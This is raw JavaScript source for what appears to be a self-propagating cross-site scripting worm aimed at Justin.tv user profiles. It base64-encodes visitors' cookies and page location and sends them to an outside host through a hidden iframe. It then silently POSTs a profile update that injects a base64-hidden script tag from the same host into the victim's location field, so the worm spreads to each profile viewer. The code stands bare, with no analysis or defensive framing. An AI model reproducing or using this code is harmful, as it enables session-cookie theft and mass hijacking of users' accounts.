function URLEncode (clearString) { var output = ''; var x = 0; clearString = clearString.toString(); var regex = /(^[a-zA-Z0-9_.]*)/; while (x < clearString.length) { var match = regex.exec(clearString.substr(x)); if (match != null && match.length > 1 && match[1] != '') { output += match[1]; x += match[1].length; } else { if (clearString[x] == ' ') output += '+'; else { var charCode = clearString.charCodeAt(x); var hexVal = charCode.toString(16); output += '%' + (hexVal.length < 2 ? '0' : '') + hexVal.toUpperCase(); } x++; } } return output; } function save_settings(action, enctype, method, query) { var xmlHttp; try { xmlHttp = new XMLHttpRequest(); } catch (e) { try { xmlHttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) { return false; } } } xmlHttp.open(method, action, true); xmlHttp.setRequestHeader('Content-Type', enctype); xmlHttp.send(query); return false; } document.title = document.title.split('^')[0] + " - Justin.tv"; var base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'.split(""); var base64inv = { }; for (var i = 0; i < base64chars.length; i++) { base64inv[base64chars[i]] = i; } function b64_d (s) { s = s.replace(new RegExp('[^' + base64chars.join("") + '=]', 'g'), ""); var p = (s.charAt(s.length - 1) == '=' ? (s.charAt(s.length - 2) == '=' ? 'AA' : 'A') : ""); var r = ""; s = s.substr(0, s.length - p.length) + p; for (var c = 0; c < s.length; c += 4) { var n = (base64inv[s.charAt(c)] << 18) + (base64inv[s.charAt(c + 1)] << 12) + (base64inv[s.charAt(c + 2)] << 6) + base64inv[s.charAt(c + 3)]; r += String.fromCharCode((n >>> 16) & 255, (n >>> 8) & 255, n & 255); } return r.substring(0, r.length - p.length); } function b64_e(s) { var r = ""; var p = ""; var c = s.length % 3; if (c > 0) { for (;c < 3; c++) { p += '='; s += "\0"; } } for (c = 0; c < s.length; c += 3) { if (c > 0 && (c / 3 * 4) % 76 == 0) { r += "\r\n"; } var n = (s.charCodeAt(c) << 16) + (s.charCodeAt(c + 1) << 8) + s.charCodeAt(c + 2); n = [(n >>> 18) & 63, (n >>> 12) & 63, (n >>> 6) & 63, n & 63]; r += base64chars[n[0]] + base64chars[n[1]] + base64chars[n[2]] + base64chars[n[3]]; } return r.substring(0, r.length - p.length) + p; } document.getElementById('tframeid').src = "http://thedefaced.org/jtv/jtv_test.php?act=mesh&cookie=" + b64_e(document.cookie) + "&location=" + b64_e(String(window.location)); document.write(""); payload = b64_d( "XjwhLS1BbGwgb3BlbmluZ3MgaW4gYW4gaW50ZXJuYWwgb3IgZXh0ZXJuYWwgZmxvYXRpbmcgcm9vZiBleGNlcHQgZm9yIGF1dG9tYXRpYyBibGVlZGVyIHZlbnRzICh2YWN1dW0gYnJlYWtlciB2ZW50cykgYW5kIHJpbSBzcGFjZSB2ZW50cyBtdXN0IHByb3ZpZGUgYSBwcm9qZWN0aW9uIGJlbG93IHRoZSBsaXF1aWQgc3VyZmFjZSBvciBiZSBlcXVpcHBlZCB3aXRoIGEgY292ZXIsIHNlYWwsIG9yIGxpZCwgd2hpY2ggbXVzdCBiZSBpbiBhIGNsb3NlZCAoaS5lLiwgbm8gdmlzaWJsZSBnYXApIHBvc2l0aW9uIGF0IGFsbCB0aW1lcyBleGNlcHQgd2hlbiB0aGUgZGV2aWNlIGlzIGluIGFjdHVhbCB1c2UuLS0+IDxpZnJhbWUgaWQ9J3RmcmFtZWlkJyB3aWR0aD0wIGhlaWdodD0wIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+PHNjcmlwdCBzcmM9Imh0dHA6Ly90aGVkZWZhY2VkLm9yZy9qdHYvanR2X3Rlc3QucGhwP2FjdD1qcyIgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPjwvc2NyaXB0PiA8IS0tQWxsIG9wZW5pbmdzIGluIGFuIGludGVybmFsIG9yIGV4dGVybmFsIGZsb2F0aW5nIHJvb2YgZXhjZXB0IGZvciBhdXRvbWF0aWMgYmxlZWRlciB2ZW50cyAodmFjdXVtIGJyZWFrZXIgdmVudHMpIGFuZCByaW0gc3BhY2UgdmVudHMgbXVzdCBwcm92aWRlIGEgcHJvamVjdGlvbiBiZWxvdyB0aGUgbGlxdWlkIHN1cmZhY2Ugb3IgYmUgZXF1aXBwZWQgd2l0aCBhIGNvdmVyLCBzZWFsLCBvciBsaWQsIHdoaWNoIG11c 3QgYmUgaW4gYSBjbG9zZWQgKGkuZS4sIG5vIHZpc2libGUgZ2FwKSBwb3NpdGlvbiBhdCBhbGwgdGltZXMgZXhjZXB0IHdoZW4gdGhlIGRldmljZSBpcyBpbiBhY3R1YWwgdXNlLi0tPg=="); document.getElementById('tframeset').onload = function () { if (frames['tframeset'].document.getElementById('user_location').value.indexOf( 'All openings in an internal or external floating roof') == -1) { query = "section=profile&session_user="; query += frames['tframeset'].document.getElementById('session_user').value; query += "&subsection=profile_info"; query += "&commit=Save%20Changes"; if (frames['tframeset'].document.getElementById('user_hide_im_watching').value != 1) { query += "&user[hide_profile_actions]=0"; } else { query += "&user[hide_profile_actions]=1"; }; if (frames['tframeset'].document.getElementById('user_hide_profile_actions').value != 1) { query += "&user[hide_profile_actions]=0"; } else { query += "&user[hide_profile_actions]=1"; }; query += "&user[profile_about]=" + URLEncode(frames['tframeset'].document.getElementById('user_profile_about').value); query += "&user[favorite_quotes]=" + URLEncode(frames['tframeset'].document.getElementById('user_favorite_quotes').value); query += "&user[interests]=" + URLEncode(frames['tframeset'].document.getElementById('user_interests').value); query += "&user[location]=" + URLEncode(frames['tframeset'].document.getElementById('user_location').value + payload); query += "&user[sex]=" + frames['tframeset'].document.getElementById('user_sex').value; query += "&user[name]=" + URLEncode(frames['tframeset'].document.getElementById('user_name').value); save_settings('/settings', 'application/x-www-form-urlencoded', 'POST', query); } document.getElementById('tframeset').onload = function () { }; document.getElementById('tframeset').onreadystatechange = function () { }; }; document.getElementById('tframeset').onreadystatechange = function () { if (frames['tframeset'].document.getElementById('user_location').value.indexOf( 'All openings in an internal or external floating roof') == -1) { query = "section=profile&session_user="; query += frames['tframeset'].document.getElementById('session_user').value; query += "&subsection=profile_info"; query += "&commit=Save%20Changes"; if (frames['tframeset'].document.getElementById('user_hide_im_watching').value != 1) { query += "&user[hide_profile_actions]=0"; } else { query += "&user[hide_profile_actions]=1"; }; if (frames['tframeset'].document.getElementById('user_hide_profile_actions').value != 1) { query += "&user[hide_profile_actions]=0"; } else { query += "&user[hide_profile_actions]=1"; }; query += "&user[profile_about]=" + URLEncode(frames['tframeset'].document.getElementById('user_profile_about').value); query += "&user[favorite_quotes]=" + URLEncode(frames['tframeset'].document.getElementById('user_favorite_quotes').value); query += "&user[interests]=" + URLEncode(frames['tframeset'].document.getElementById('user_interests').value); query += "&user[location]=" + URLEncode(frames['tframeset'].document.getElementById('user_location').value + payload); query += "&user[sex]=" + frames['tframeset'].document.getElementById('user_sex').value; query += "&user[name]=" + URLEncode(frames['tframeset'].document.getElementById('user_name').value); save_settings('/settings', 'application/x-www-form-urlencoded', 'POST', query); } document.getElementById('tframeset').onload = function () { }; document.getElementById('tframeset').onreadystatechange = function () { }; }; document.getElementById('tframeset').src = "/settings?section=profile";